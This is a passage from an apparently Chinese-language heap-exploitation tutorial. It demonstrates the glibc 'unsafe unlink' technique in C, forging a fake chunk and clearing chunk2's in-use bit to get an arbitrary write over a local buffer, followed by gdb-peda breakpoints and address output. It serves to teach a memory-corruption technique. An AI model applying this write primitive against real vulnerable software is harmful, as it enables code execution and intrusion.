int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\n", chunk1); printf("%p\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
gdb-peda$ b 20 Breakpoint 1 at 0x40067d: file test.c, line 20. gdb-peda$ b 31 Breakpoint 2 at 0x4006db: file test.c, line 31. gdb-peda$ b 36 Breakpoint 3 at 0x400703: file test.c, line 36. gdb-peda$ b 44 Breakpoint 4 at 0x400731: file test.c, line 44. gdb-peda$ run
首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:
1 2 3 4 5
gdb-peda$ continue Continuing. 0x7fffffffde00 //chunk1指针地址 0x602010 //chunk1堆地址——user data 0x6020a0 //chunk2堆地址——user data
gdb-peda$ p chunk1 $16 = (unsigned long long *) 0x7fffffffdde8 gdb-peda$ p &chunk1[3] $17 = (unsigned long long *) 0x7fffffffde00 gdb-peda$ p chunk1[3] $18 = 0x7fffffffdde8